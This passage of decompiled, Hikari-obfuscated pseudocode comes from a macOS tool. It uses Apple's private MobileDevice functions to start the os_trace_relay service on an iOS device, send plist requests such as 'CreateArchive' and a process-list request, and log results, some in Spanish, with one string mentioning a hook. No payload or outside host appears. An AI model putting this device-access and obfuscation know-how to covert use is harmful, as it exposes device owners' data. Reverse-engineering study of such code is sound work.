v5 = 1;
v6 = -1130644664;
v7 = 283389898;
goto LABEL_420;
case -1098841667:
*v73 = -568664950;
break;
}
}
}
else if ( v46 > -1005610196 )
{
switch ( v46 )
{
case -1005610195:
NSLog(CFSTR("{Zt;Z\xBA\xAAh\x98S]\xF8\xF8Gt\x9F뾙\x1E\xB4\x90\x03\xF1\xF7\xB7\xF1@S^"));
*v73 = -452718263;
break;
case -976798062:
v10 = 1;
v6 = -1062101861;
v11 = 1138292188;
goto LABEL_415;
case -959640753:
*v73 = -117003520;
break;
}
}
else
{
switch ( v46 )
{
case -1065955219:
a3 = 1181198944;
a2 = 810824832;
v5 = 0;
v6 = 2047557319;
v7 = -1881694853;
goto LABEL_420;
case -1062101861:
a2 = (__int64)"initWithData:encoding:";
v28 = (__CFError *)objc_msgSend(v40, "initWithData:encoding:", Data, 4);
v5 = 0;
v30 = v28;
v6 = 2080977496;
v7 = 1138292188;
goto LABEL_420;
case -1046609445:
free(bytes);
a2 = (__int64)v54;
propertyList = HikariFunctionWrapper_16859(allocator, (const __CFData *)v54, 0, 0, 0);
v6 = -1561033880;
goto LABEL_426;
}
}
}
else if ( v46 > -1738429571 )
{
if ( v46 > -1564273349 )
{
if ( v46 <= -1442286872 )
{
if ( v46 <= -1508150357 )
{
if ( v46 == -1564273348 )
{
*v73 = -2027630850;
}
else if ( v46 == -1561033880 )
{
*v73 = -2146545462;
}
}
else
{
switch ( v46 )
{
case -1508150356:
v5 = v44 < 0xDBFF63A1;
v6 = -1171294147;
v7 = 1334303420;
goto LABEL_420;
case -1469624418:
v20 = objc_msgSend(v33, v34);
v21 = objc_retainAutoreleasedReturnValue(v20);
v22 = HikariFunctionWrapper_16869(v47, "stringFromDate:");
objc_retainAutoreleasedReturnValue(v22);
objc_release(v21);
a2 = (__int64)CFSTR("\xF9\xE4\x46\xF2\xB7\x03\xAFN\xCC\x69a\x04\x82E+\xF2\x56\x1B\x5A\xF6\x61\xB3\xEF\x87");
AMDeviceSecureStartService(v43);
*v73 = -909116997;
break;
case -1446684025:
v5 = 0;
v6 = 417768604;
LABEL_315:
v7 = -785954874;
goto LABEL_420;
}
}
}
else if ( v46 > -1280431379 )
{
switch ( v46 )
{
case -1280431378:
a3 = 247635912;
v8 = 0;
v6 = 1977753970;
v9 = -615042780;
goto LABEL_424;
case -1213946783:
asc_100277EC3[7] = 0;
strcpy(asc_1002782B0, "[!] No se pudo iniciar servicio com.apple.os_trace_relay, err=%d");
strcpy(asc_100278330, "[!] Error serializando request: %@");
strcpy(aApo, "SizeLimit");
strcpy(asc_100278200, "[%@] [HOOK] AMDServiceConnectionSend (len=%u)");
strcpy(aZtZ, "[!] Error parseando respuesta");
asc_10027835C[0] = 72;
asc_10027835C[1] = 72;
asc_10027835C[2] = 58;
asc_10027835C[3] = 109;
asc_10027835C[4] = 109;
asc_10027835C[5] = 58;
asc_10027835C[6] = 115;
a3 = 947989272;
asc_10027835C[7] = 115;
v5 = 0;
v72 = 0;
v6 = 855813492;
v7 = -1213946783;
LABEL_420:
if ( v5 )
v6 = v7;
LABEL_426:
a4 = (unsigned int)v73;
*v73 = v6;
break;
case -1197135580:
*v73 = 1448614524;
break;
}
}
else
{
switch ( v46 )
{
case -1442286871:
*v73 = -916106824;
break;
case -1304538639:
a2 = 690296041;
HikariFunctionWrapper_16851(theDict);
v5 = 1;
v57 = *error;
v6 = -1304538639;
v7 = 270770604;
goto LABEL_420;
case -1295862732:
a2 = (__int64)bytes;
AMDServiceConnectionReceive(v38);
*v73 = -1757313064;
break;
}
}
}
else if ( v46 <= -1662458972 )
{
if ( v46 <= -1719289223 )
{
if ( v46 == -1738429570 )
{
v8 = 0;
v6 = -1469624418;
v9 = -909116997;
goto LABEL_424;
}
if ( v46 == -1734330304 )
{
a3 = 805405058;
v6 = -1197135580;
goto LABEL_426;
}
}
else
{
switch ( v46 )
{
case -1719289222:
*v73 = -1734330304;
break;
case -1712046729:
v42 = v41;
a2 = 44371454;
a3 = 4166013441LL;
v8 = 0;
v6 = -761859269;
v9 = -1613549261;
goto LABEL_424;
case -1680956862:
*v73 = 2006676130;
break;
}
}
}
else if ( v46 > -1631980124 )
{
switch ( v46 )
{
case -1631980123:
v40 = HikariFunctionWrapper_16863((objc_class *)&OBJC_CLASS___NSString);
*v73 = -976798062;
break;
case -1613549261:
objc_release(v42);
*v73 = -1564273348;
break;
case -1589255586:
*v73 = -1130644664;
break;
}
}
else
{
switch ( v46 )
{
case -1662458971:
*v73 = 2137162433;
break;
case -1654367446:
v10 = 1;
v6 = 1039752636;
v11 = -1157482808;
goto LABEL_415;
case -1644312566:
a3 = 3067220096LL;
a2 = 67113290;
v10 = 0;
v6 = -1719289222;
v11 = -1734330304;
goto LABEL_415;
}
}
}
else if ( v46 > -1999451155 )
{
if ( v46 <= -1881694854 )
{
if ( v46 <= -1981191995 )
{
if ( v46 == -1999451154 )
{
*v73 = 1176404013;
}
else if ( v46 == -1993915569 )
{
v5 = 1;
v6 = 1971343351;
v7 = -1046609445;
goto LABEL_420;
}
}
else
{
switch ( v46 )
{
case -1981191994:
v8 = 0;
v6 = -421706763;
v9 = -2066534301;
goto LABEL_424;
case -1947324757:
*v73 = 2083558182;
break;
case -1919044641:
LABEL_249:
*v73 = -2027630850;
break;
}
}
}
else if ( v46 > -1773961609 )
{
switch ( v46 )
{
case -1773961608:
v8 = 0;
v6 = 1977753970;
v9 = -1280431378;
goto LABEL_424;
case -1770522728:
AMDServiceConnectionInvalidate(*v63, a2, 2726171617LL);
v10 = 1;
v6 = -959640753;
v11 = -1770522728;
LABEL_415:
if ( !v10 )
v6 = v11;
goto LABEL_426;
case -1757313064:
a2 = (__int64)bytes;
v68 = AMDServiceConnectionReceive(v38) == 0;
v10 = 1;
v6 = -2123295009;
goto LABEL_245;
}
}
else
{
switch ( v46 )
{
case -1881694853:
a2 = (__int64)bytes;
CFDataCreate(allocator, bytes, length);
*v73 = 2047557319;
break;
case -1870226780:
*v73 = -1446684025;
break;
case -1842316460:
v10 = 1;
v6 = -1304538639;
v11 = -305630254;
goto LABEL_415;
}
}
}
else if ( v46 <= -2066534302 )
{
if ( v46 <= -2123295010 )
{
if ( v46 == -2146545462 )
{
v8 = 0;
v6 = 1140778844;
v9 = 795197116;
goto LABEL_424;
}
if ( v46 == -2143115513 )
{
HikariFunctionWrapper_16861(propertyList);
v8 = 0;
v6 = -2143115513;
v9 = -1870226780;
goto LABEL_424;
}
}
else
{
switch ( v46 )
{
case -2123295009:
v8 = !v68;
v6 = -236020648;
v9 = -1065955219;
goto LABEL_424;
case -2103600720:
goto LABEL_200;
case -2082899432:
v71 = Data == 0;
*v73 = 543474967;
break;
}
}
}
else if ( v46 > -2027630851 )
{
switch ( v46 )
{
case -2027630850:
a2 = 553917056;
a3 = 2314207232LL;
v8 = 0;
v6 = 1250654765;
v9 = -1770522728;
goto LABEL_424;
case -2019412908:
v8 = !v71;
v6 = -1631980123;
v9 = -2027630850;
goto LABEL_424;
case -2011632576:
*v73 = 308454429;
break;
}
}
else
{
switch ( v46 )
{
case -2066534301:
v8 = 0;
v6 = -421706763;
v9 = -1919044641;
goto LABEL_424;
case -2062562403:
a2 = 41622;
a3 = 169813168;
v5 = 1;
v6 = 358682682;
v7 = 77699142;
goto LABEL_420;
case -2057146907:
asc_10027835C[8] = v72;
strcpy(asc_10027823C, "CreateArchive");
strcpy(asc_100278160, "[!] Error serializando respuesta: %@");
LOBYTE(a4) = -40;
a3 = a4;
LOBYTE(a3) = 39;
v5 = 1;
v6 = -2057146907;
v7 = 29548300;
goto LABEL_420;
}
}
}
if ( v46 > 1087065031 )
break;
if ( v46 > 398085442 )
{
if ( v46 > 748152120 )
{
if ( v46 <= 855813491 )
{
if ( v46 <= 788093058 )
{
if ( v46 == 748152121 )
{
HikariFunctionWrapper_16879(_byteswap_ulong(*v58));
*v73 = -662129380;
}
else if ( v46 == 763744202 )
{
a3 = 2593397557LL;
v8 = 0;
v6 = -1005610195;
v9 = -452718263;
goto LABEL_424;
}
}
else
{
switch ( v46 )
{
case 788093059:
v5 = 0;
v6 = -2057146907;
v7 = 408855338;
goto LABEL_420;
case 795197116:
CFRelease(v54);
v69 = propertyList == 0;
v6 = 534069264;
goto LABEL_426;
case 823599680:
v8 = !v65;
v6 = -218130196;
v9 = -930889479;
goto LABEL_424;
}
}
}
else if ( v46 > 1019818200 )
{
switch ( v46 )
{
case 1019818201:
objc_release(v51);
v5 = 1;
v6 = 1019818201;
v7 = -162074895;
goto LABEL_420;
case 1022723787:
v5 = 1;
v6 = -1947324757;
v7 = 2083558182;
goto LABEL_420;
case 1039752636:
BytePtr = CFDataGetBytePtr(theData);
v15 = CFDataGetLength(theData);
v36 = v15;
*(_DWORD *)v50 = _byteswap_ulong(v15);
a2 = (__int64)v51;
NSLog(
CFSTR("\xEF\x8F\xC2\xD2\x79:?@\xB3\x1E\x01.=6b\xD8\x33\xEC\x70\xF1\xBE-\xB27\xEE\xD0\x07?\xBC\xE4\x22\xF2\xBB\xA5\xA2\x13\xB1\xFC\xDA\xDBÈ<\xCC\x19/"),
v51,
(unsigned int)v15);
v8 = 0;
v37 = *v63;
v6 = 1039752636;
v9 = -1680956862;
goto LABEL_424;
}
}
else
{
switch ( v46 )
{
case 855813492:
*v73 = 788093059;
break;
case 928004582:
Mutable = CFDictionaryCreateMutable(
(CFAllocatorRef)0xFFFFFFFFFFFFFFFFLL,
0,
&kCFTypeDictionaryKeyCallBacks,
&kCFTypeDictionaryValueCallBacks);
CFDictionarySetValue(
Mutable,
CFSTR("\xE7\xCD\x81&\xD6\xE4B"),
CFSTR("F\xE7\x99\xC6\xA2\xB4\x17D\x9A\xFAf\x9C±"));
*(_QWORD *)valuePtr = 0x40000000;
v27 = CFNumberCreate((CFAllocatorRef)0xFFFFFFFFFFFFFFFFLL, kCFNumberSInt64Type, valuePtr);
CFDictionarySetValue(Mutable, CFSTR("[aPo^\xB6\xBAԹ^"), v27);
CFRelease(v27);
*error = 0;
a2 = (__int64)Mutable;
CFPropertyListCreateData(
(CFAllocatorRef)0xFFFFFFFFFFFFFFFFLL,
Mutable,
kCFPropertyListXMLFormat_v1_0,
0,
error);
*v73 = 1781839948;
break;
case 992715947:
*v73 = -1158930185;
break;
}
}
}
else if ( v46 <= 467564172 )
{
if ( v46 <= 417768603 )
{
if ( v46 == 398085443 )
{
v8 = !v67;
v6 = -2027630850;
v9 = 1944076827;
goto LABEL_424;
}
if ( v46 == 408855338 )
{
asc_10027835C[8] = v72;
strcpy(asc_10027823C, "CreateArchive");
strcpy(asc_100278160, "[!] Error serializando respuesta: %@");
LOBYTE(result) = -92;
a4 = result;
*v73 = -2057146907;
}
}
else
{
switch ( v46 )
{
case 417768604:
v17 = *error;
v70 = *error == 0;
v5 = 0;
v39 = v17;
v6 = -728896883;
goto LABEL_315;
case 421936042:
strcpy(asc_100278390, "com.apple.os_trace_relay");
asc_100277EC3[0] = 82;
asc_100277EC3[1] = 101;
asc_100277EC3[2] = 113;
LOBYTE(result) = -50;
a4 = result;
asc_100277EC3[3] = 117;
asc_100277EC3[4] = 101;
asc_100277EC3[5] = 115;
asc_100277EC3[6] = 116;
*v73 = 1508012303;
break;
case 457012633:
a2 = 302221312;
a3 = 3127059515LL;
v64 = v45 == 0;
v10 = 0;
v6 = 141659144;
v11 = -937507550;
goto LABEL_415;
}
}
}
else if ( v46 > 543474966 )
{
switch ( v46 )
{
case 543474967:
a3 = 2795856022LL;
v10 = 0;
v6 = 330378019;
v11 = -644627079;
goto LABEL_415;
case 632818092:
*v73 = 184004472;
break;
case 741461106:
a2 = (__int64)v57;
NSLog(
CFSTR("\xA9b\xEF\x16\xAEޭ\xA6h˷\xFE\x89\r\xF1\xFE\x8B\xA0R\x93h}\xD3\x76\x03\x84\xC3\xDB])\x8C\xE4\x3F\xFE,"),
v57);
*v73 = 1416731583;
break;
}
}
else
{
switch ( v46 )
{
case 467564173:
a2 = 8519745;
a3 = 3213956;
v8 = 0;
v6 = 741461106;
v9 = 1416731583;
goto LABEL_424;
case 531020835:
*v73 = 216696768;
break;
case 534069264:
v8 = !v69;
v6 = 110187873;
v9 = 763744202;
goto LABEL_424;
}
}
}
else if ( v46 > 158452468 )
{
if ( v46 <= 270770603 )
{
if ( v46 <= 187993178 )
{
if ( v46 == 158452469 )
{
*v73 = -185725372;
}
else if ( v46 == 184004472 )
{
v47 = objc_msgSend(v31, v32);
a2 = (__int64)"setDateFormat:";
objc_msgSend(v47, "setDateFormat:", CFSTR("\xBEJ\x8Ah\xC3\xEF&;\xBF"));
v33 = &OBJC_CLASS___NSDate;
v34 = "date";
v6 = -584739520;
goto LABEL_426;
}
}
else
{
switch ( v46 )
{
case 187993179:
v8 = !v66;
v6 = 467564173;
v9 = -1654367446;
goto LABEL_424;
case 216696768:
a2 = 4048930175LL;
a3 = 998368768;
v66 = v57 == 0;
v10 = 0;
v6 = 531020835;
v11 = 187993179;
goto LABEL_415;
case 231949662:
objc_release(v47);
*v73 = -897967621;
break;
}
}
}
else if ( v46 > 330378018 )
{
switch ( v46 )
{
case 330378019:
*v73 = -644627079;
break;
case 358682682:
dword_10029F504 = 1;
*(&v29 - 2) = 0;
HikariFunctionWrapper_16865((objc_class *)&OBJC_CLASS___NSDateFormatter);
*v73 = 77699142;
break;
case 374300178:
a3 = 1021016240;
v6 = -2143115513;
goto LABEL_426;
}
}
else
{
switch ( v46 )
{
case 270770604:
*v73 = 1246209754;
break;
case 283389898:
*v73 = -185725372;
break;
case 308454429:
a3 = 1082163310;
v8 = 0;
v6 = 1761808301;
v9 = 1019818201;
goto LABEL_424;
}
}
}
else if ( v46 <= 51807921 )
{
if ( v46 <= -116111500 )
{
if ( v46 == -149900734 )
{
*v73 = 1211136596;
}
else if ( v46 == -117003520 )
{
a3 = 2554468868LL;
v8 = 0;
v6 = -1442286871;
v9 = -916106824;
goto LABEL_424;
}
}
else
{
switch ( v46 )
{
case -116111499:
a2 = (__int64)v58;
AMDServiceConnectionReceive(*v63);
*v73 = 1431608025;
break;
case -25349153:
*v73 = -915551781;
break;
case 29548300:
*v73 = -2062562403;
break;
}
}
}
else if ( v46 > 104623766 )
{
switch ( v46 )
{
case 104623767:
*v73 = -1993915569;
break;
case 110187873:
a2 = (__int64)propertyList;
Data = CFPropertyListCreateData(allocator, propertyList, kCFPropertyListXMLFormat_v1_0, 0, error);
*v73 = 374300178;
break;
case 141659144:
*v73 = 457012633;
break;
}
}
else
{
switch ( v46 )
{
case 51807922:
*v73 = -1712046729;
v41 = v30;
break;
case 77699142:
dword_10029F504 = 1;
v63 = &v29 - 2;
valuePtr = &v29 - 2;
error = (CFErrorRef *)(&v29 - 2);
v50 = &v29 - 2;
v58 = (unsigned int *)(&v29 - 2);
*(&v29 - 2) = 0;
v31 = objc_alloc((Class)&OBJC_CLASS___NSDateFormatter);
v32 = "init";
v6 = 1817042417;
goto LABEL_426;
case 92693051:
*v73 = 308454429;
break;
}
}
}
if ( v46 > 1732583920 )
break;
if ( v46 > 1250654764 )
{
if ( v46 <= 1416731582 )
{
if ( v46 <= 1331762267 )
{
if ( v46 == 1250654765 )
{
AMDServiceConnectionInvalidate(*v63, a2, a3);
*v73 = -1770522728;
}
else if ( v46 == 1290356949 )
{
a2 = 1229363352;
a3 = 3083372118LL;
v10 = 0;
v6 = -1589255586;
v11 = -1130644664;
goto LABEL_415;
}
}
else
{
switch ( v46 )
{
case 1331762268:
a2 = v56;
NSLog(
CFSTR("\x19\xE8\x85\xC5\x0485+\xB6S灂\xE5\xD6\x76\x9F\xDA\x74\xD6\xE1\xB8T\xA0\n\xA1=\u0558\xEB\x50\xE0\x4B\x10\xBE\xB7\xEB\x7D\xB6\x98;\xD9\x19K\xDC\x45\xA2\xD8\xE8\x858]\x1F;파\xFCJ\xB0 \xBB\xACR"),
v56);
*v73 = 2084924283;
break;
case 1334303420:
a3 = 134816768;
v5 = 1;
v45 = dword_10029F504;
v6 = 1334303420;
v7 = -149900734;
goto LABEL_420;
case 1348031446:
*v73 = -679024398;
break;
}
}
}
else if ( v46 > 1452813028 )
{
switch ( v46 )
{
case 1452813029:
CFRelease(propertyList);
*v73 = -2143115513;
break;
case 1508012303:
*v73 = -1213946783;
break;
case 1612517967:
LABEL_200:
*v73 = -884858361;
break;
}
}
else
{
switch ( v46 )
{
case 1416731583:
a2 = (__int64)v57;
NSLog(
CFSTR("\xA9b\xEF\x16\xAEޭ\xA6h˷\xFE\x89\r\xF1\xFE\x8B\xA0R\x93h}\xD3\x76\x03\x84\xC3\xDB])\x8C\xE4\x3F\xFE,"),
v57);
v10 = 1;
v6 = 1225329434;
v11 = 741461106;
goto LABEL_415;
case 1431608025:
a2 = (__int64)v58;
v67 = AMDServiceConnectionReceive(*v63) == 0;
v10 = 0;
v6 = 1431608025;
v11 = 398085443;
goto LABEL_415;
case 1448614524:
a2 = (__int64)v39;
NSLog(
CFSTR("\x8D\xB2\xA7\x91\x01\x98\xA9\xE7\xD3\xF5N\xCE\xD3E\xFC-\x93\xB8\x99\xDC\x70\xA2\xD2\x2DGTeܥq\x18\xE6\x2F\x72!\xB20"),
v39);
*v73 = 1898631425;
break;
}
}
}
else if ( v46 <= 1169063124 )
{
if ( v46 <= 1138292187 )
{
if ( v46 == 1087065032 )
{
*v73 = -1842316460;
}
else if ( v46 == 1107690706 )
{
*v73 = -438989384;
}
}
else
{
switch ( v46 )
{
case 1138292188:
a2 = (__int64)"initWithData:encoding:";
objc_msgSend(v40, "initWithData:encoding:", Data, 4);
*v73 = -1062101861;
break;
case 1140778844:
CFRelease(v54);
*v73 = 795197116;
break;
case 1167512176:
*v73 = 1778029281;
break;
}
}
}
else if ( v46 > 1225329433 )
{
switch ( v46 )
{
case 1225329434:
*v73 = -306291889;
break;
case 1231294825:
*v73 = 1290356949;
break;
case 1246209754:
a3 = 2714447636LL;
v10 = 0;
v6 = 531020835;
v11 = 216696768;
goto LABEL_415;
}
}
else
{
switch ( v46 )
{
case 1169063125:
*v73 = 1022723787;
break;
case 1176404013:
a2 = 10587590;
a3 = 2149444208LL;
v5 = 1;
v6 = -1662458971;
v7 = 2137162433;
goto LABEL_420;
case 1211136596:
a2 = 2686509248LL;
a3 = 1190501718;
v5 = 1;
v6 = 141659144;
v7 = 457012633;
goto LABEL_420;
}
}
}
if ( v46 > 1944306789 )
break;
if ( v46 <= 1781839947 )
{
if ( v46 <= 1749958758 )
{
if ( v46 == 1732583921 )
{
HikariFunctionWrapper_16881(bytes);
*v73 = -727147314;
}
else if ( v46 == 1735822735 )
{
HikariFunctionWrapper_16853(v37);
a2 = (__int64)BytePtr;
HikariFunctionWrapper_16855(*v63);
HikariFunctionWrapper_16857(theData);
*v58 = 0;
*v73 = 1830010066;
}
}
else
{
switch ( v46 )
{
case 1749958759:
*v73 = 1979316068;
break;
case 1761808301:
objc_release(v51);
*v73 = 1019818201;
break;
case 1778029281:
v10 = 0;
v6 = -1295862732;
LABEL_245:
v11 = -1757313064;
goto LABEL_415;
}
}
}
else if ( v46 > 1898631424 )
{
switch ( v46 )
{
case 1898631425:
*v73 = -1712046729;
v41 = v39;
break;
case 1918031409:
v25 = HikariFunctionWrapper_16867(v31, v32);
a2 = (__int64)"setDateFormat:";
objc_msgSend(v25, "setDateFormat:", CFSTR("\xBEJ\x8Ah\xC3\xEF&;\xBF"));
*v73 = 184004472;
break;
case 1944076827:
v6 = -662129380;
goto LABEL_426;
}
}
else
{
switch ( v46 )
{
case 1781839948:
allocator = (CFAllocatorRef)-1LL;
theDict = HikariFunctionWrapper_16847(
(const __CFAllocator *)0xFFFFFFFFFFFFFFFFLL,
0,
&kCFTypeDictionaryKeyCallBacks,
&kCFTypeDictionaryValueCallBacks);
HikariFunctionWrapper_16849(
theDict,
CFSTR("\xE7\xCD\x81&\xD6\xE4B"),
CFSTR("F\xE7\x99\xC6\xA2\xB4\x17D\x9A\xFAf\x9C±"));
*(_QWORD *)valuePtr = 0x40000000;
v23 = CFNumberCreate(allocator, kCFNumberSInt64Type, valuePtr);
CFDictionarySetValue(theDict, CFSTR("[aPo^\xB6\xBAԹ^"), v23);
CFRelease(v23);
*error = 0;
a2 = (__int64)theDict;
v24 = CFPropertyListCreateData(allocator, theDict, kCFPropertyListXMLFormat_v1_0, 0, error);
v5 = 1;
theData = v24;
v6 = 1781839948;
v7 = 1087065032;
goto LABEL_420;
case 1817042417:
*v73 = 632818092;
break;
case 1830010066:
*v73 = -183307905;
break;
}
}
}
if ( v46 > 2047557318 )
break;
if ( v46 > 1979316067 )
{
switch ( v46 )
{
case 1979316068:
v10 = 1;
v6 = -438989384;
v11 = 1107690706;
goto LABEL_415;
case 2006676130:
v6 = 1735822735;
goto LABEL_426;
case 2043010890:
*v73 = -2011632576;
break;
}
}
else
{
switch ( v46 )
{
case 1944306790:
objc_release(v57);
*v73 = -513313315;
break;
case 1971343351:
HikariFunctionWrapper_16883(bytes);
a2 = (__int64)v54;
CFPropertyListCreateWithData(allocator, (CFDataRef)v54, 0, 0, 0);
*v73 = -1046609445;
break;
case 1977753970:
*v73 = -1280431378;
break;
}
}
}
if ( v46 > 2084924282 )
break;
switch ( v46 )
{
case 2047557319:
a2 = (__int64)bytes;
v16 = CFDataCreate(allocator, bytes, length);
v10 = 1;
v54 = v16;
v6 = 104623767;
v11 = 2047557319;
goto LABEL_415;
case 2080977496:
*v73 = -889538426;
break;
case 2083558182:
a3 = 3204742067LL;
v10 = 1;
v6 = 158452469;
v11 = 2083558182;
goto LABEL_415;
}
}
if ( v46 == 2084924283 )
{
a2 = v56;
NSLog(
CFSTR("\x19\xE8\x85\xC5\x0485+\xB6S灂\xE5\xD6\x76\x9F\xDA\x74\xD6\xE1\xB8T\xA0\n\xA1=\u0558\xEB\x50\xE0\x4B\x10\xBE\xB7\xEB\x7D\xB6\x98;\xD9\x19K\xDC\x45\xA2\xD8\xE8\x858]\x1F;파\xFCJ\xB0 \xBB\xACR"),
v56);
v10 = 1;
v6 = -1999451154;
v11 = 2084924283;
goto LABEL_415;
}
if ( v46 == 2137162433 )
{
v8 = 0;
v6 = 2137162433;
v9 = 92693051;
goto LABEL_424;
}
}
while ( v46 != 2094565594 );
return result;
}
// 1000C5F0A: variable 'a4' is possibly undefined
// 1000C7A15: variable 'a3' is possibly undefined
// 100256144: using guessed type __int64 __fastcall AMDServiceConnectionInvalidate(_QWORD, _QWORD, _QWORD);
// 10025614A: using guessed type __int64 __fastcall AMDServiceConnectionReceive(_QWORD);
// 100256150: using guessed type __int64 __fastcall AMDServiceConnectionSend(_QWORD);
// 100256186: using guessed type __int64 __fastcall AMDeviceSecureStartService(_QWORD);
// 1002784D0: using guessed type __CFString cfstr_Apo;
// 100278510: using guessed type __CFString stru_100278510;
// 100278590: using guessed type __CFString stru_100278590;
// 1002785D0: using guessed type __CFString stru_1002785D0;
// 100278610: using guessed type __CFString stru_100278610;
// 10029F504: using guessed type int dword_10029F504;
//----- (00000001000CA99B) ----------------------------------------------------
__int64 __fastcall RequestPidList(__int64 a1)
{
__int64 v1; // rdx
__int64 v2; // rsi
bool v3; // cf
int v4; // eax
int v5; // ecx
char v6; // cf
int v7; // ecx
bool v8; // zf
int v9; // ecx
bool v10; // zf
int v11; // ecx
int v12; // eax
__CFDictionary *v13; // rax
CFTypeID TypeID; // rax
unsigned int v15; // eax
size_t v16; // rbx
UInt8 *v17; // r13
const __CFData *v18; // rbx
CFTypeID v19; // rax
const __CFString *v20; // rax
__int64 v21; // rdx
const void *Value; // rax
__int64 v23; // rdx
const void **v24; // rax
CFTypeID v25; // rbx
unsigned int v26; // r13d
int v27; // eax
CFIndex v28; // rax
__int64 v29; // rdx
size_t v30; // rbx
UInt8 *v31; // r13
const __CFData *v32; // rbx
unsigned int Length; // r13d
__int64 v35; // [rsp+0h] [rbp-190h] BYREF
__int64 v36; // [rsp+8h] [rbp-188h]
CFTypeID v37; // [rsp+10h] [rbp-180h]
CFTypeID v38; // [rsp+18h] [rbp-178h]
CFTypeID v39; // [rsp+20h] [rbp-170h]
CFDictionaryRef *v40; // [rsp+28h] [rbp-168h]
CFTypeRef v41; // [rsp+30h] [rbp-160h]
CFTypeID v42; // [rsp+38h] [rbp-158h]
CFTypeID v43; // [rsp+40h] [rbp-150h]
CFComparisonResult v44; // [rsp+48h] [rbp-148h]
__int64 v45; // [rsp+50h] [rbp-140h]
__int64 v46; // [rsp+58h] [rbp-138h]
CFIndex Count; // [rsp+60h] [rbp-130h]
size_t __size; // [rsp+68h] [rbp-128h]
CFDictionaryRef theDict; // [rsp+70h] [rbp-120h]
CFStringRef theString1; // [rsp+78h] [rbp-118h]
void **v51; // [rsp+80h] [rbp-110h]
__int64 v52; // [rsp+88h] [rbp-108h]
__int64 v53; // [rsp+90h] [rbp-100h]
unsigned int v54; // [rsp+98h] [rbp-F8h]
int v55; // [rsp+9Ch] [rbp-F4h]
unsigned int started; // [rsp+A0h] [rbp-F0h]
unsigned int v57; // [rsp+A4h] [rbp-ECh]
int v58; // [rsp+A8h] [rbp-E8h]
int v59; // [rsp+ACh] [rbp-E4h]
unsigned int v60; // [rsp+B0h] [rbp-E0h]
int v61; // [rsp+B4h] [rbp-DCh] BYREF
id v62; // [rsp+B8h] [rbp-D8h]
void *v63; // [rsp+C0h] [rbp-D0h]
__int64 *v64; // [rsp+C8h] [rbp-C8h]
__int64 *v65; // [rsp+D0h] [rbp-C0h]
CFPropertyListRef propertyList; // [rsp+D8h] [rbp-B8h]
int v67; // [rsp+E0h] [rbp-B0h]
int v68; // [rsp+E4h] [rbp-ACh]
CFErrorRef *error; // [rsp+E8h] [rbp-A8h]
__int64 v70; // [rsp+F0h] [rbp-A0h]
unsigned int *v71; // [rsp+F8h] [rbp-98h]
CFAllocatorRef allocator; // [rsp+100h] [rbp-90h]
CFDataRef theData; // [rsp+108h] [rbp-88h]
int v74; // [rsp+114h] [rbp-7Ch]
CFTypeRef v75; // [rsp+118h] [rbp-78h]
void **keys; // [rsp+120h] [rbp-70h]
int v77; // [rsp+12Ch] [rbp-64h]
unsigned int v78; // [rsp+130h] [rbp-60h]
__int16 v79; // [rsp+136h] [rbp-5Ah]
CFTypeRef v80; // [rsp+138h] [rbp-58h]
bool v81; // [rsp+142h] [rbp-4Eh]
bool v82; // [rsp+143h] [rbp-4Dh]
bool v83; // [rsp+144h] [rbp-4Ch]
bool v84; // [rsp+145h] [rbp-4Bh]
bool v85; // [rsp+146h] [rbp-4Ah]
bool v86; // [rsp+147h] [rbp-49h]
bool v87; // [rsp+148h] [rbp-48h]
bool v88; // [rsp+149h] [rbp-47h]
bool v89; // [rsp+14Ah] [rbp-46h]
bool v90; // [rsp+14Bh] [rbp-45h]
bool v91; // [rsp+14Ch] [rbp-44h]
bool v92; // [rsp+14Dh] [rbp-43h]
bool v93; // [rsp+14Eh] [rbp-42h]
bool v94; // [rsp+14Fh] [rbp-41h]
__int64 *v95; // [rsp+150h] [rbp-40h]
char v96; // [rsp+15Fh] [rbp-31h]
int *v97; // [rsp+160h] [rbp-30h]
v45 = a1;
v1 = 1053113;
v2 = 268463108;
v54 = -184585277;
v61 = -347335295;
v97 = &v61;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v61 <= -15235110 )
{
if ( v61 > -1016894514 )
{
if ( v61 <= -523843096 )
{
if ( v61 <= -838313881 )
{
if ( v61 <= -933343418 )
{
if ( v61 > -963118789 )
{
switch ( v61 )
{
case -963118788:
v2 = 1166514820;
v1 = 84118144;
v6 = 1;
v4 = -963985769;
v7 = -330794745;
goto LABEL_547;
case -953996623:
v6 = 1;
v4 = -1874568687;
v7 = -426441960;
goto LABEL_547;
case -944379304:
*v97 = -518360729;
break;
}
}
else
{
switch ( v61 )
{
case -1016894513:
*v97 = 302389885;
break;
case -988939896:
strcpy(asc_100278390, "com.apple.os_trace_relay");
strcpy(asc_100278330, "[!] Error serializando request: %@");
asc_1002787A2[0] = 80;
asc_1002787A2[1] = 97;
asc_1002787A2[2] = 121;
asc_1002787A2[3] = 108;
asc_1002787A2[4] = 111;
asc_1002787A2[5] = 97;
asc_1002787A2[6] = 100;
asc_1002787A2[7] = 0;
asc_100277EC3[0] = 82;
asc_100277EC3[1] = 101;
asc_100277EC3[2] = 113;
asc_100277EC3[3] = 117;
asc_100277EC3[4] = 101;
asc_100277EC3[5] = 115;
asc_100277EC3[6] = 116;
asc_100277EC3[7] = 0;
aE_14[0] = 91;
aE_14[1] = 33;
v1 = 1200;
aE_14[2] = 93;
aE_14[3] = 32;
aE_14[4] = 82;
aE_14[5] = 101;
aE_14[6] = 115;
aE_14[7] = 112;
aE_14[8] = 117;
aE_14[9] = 101;
aE_14[10] = 115;
aE_14[11] = 116;
aE_14[12] = 97;
aE_14[13] = 32;
aE_14[14] = 105;
aE_14[15] = 110;
aE_14[16] = 118;
aE_14[17] = 225;
aE_14[18] = 108;
aE_14[19] = 105;
aE_14[20] = 100;
aE_14[21] = 97;
aE_14[22] = 32;
*v97 = 571641295;
break;
case -963985769:
*v97 = -963118788;
break;
}
}
}
else if ( v61 <= -886011892 )
{
switch ( v61 )
{
case -933343417:
v1 = 1216410368;
v2 = 0;
v6 = 1;
v4 = 1476771972;
v7 = -2111611779;
goto LABEL_547;
case -911759652:
v1 = 828383232;
v6 = 1;
v4 = 33405047;
v7 = 1607318565;
goto LABEL_547;
case -889214420:
*v97 = 1605143577;
v68 = v59;
break;
}
}
else if ( v61 > -882393099 )
{
if ( v61 == -882393098 )
{
theDict = *v40;
*v97 = 1195597657;
}
else if ( v61 == -855876610 )
{
*v71 = 0;
HikariFunctionWrapper_16925(*v95);
v16 = _byteswap_ulong(*v71);
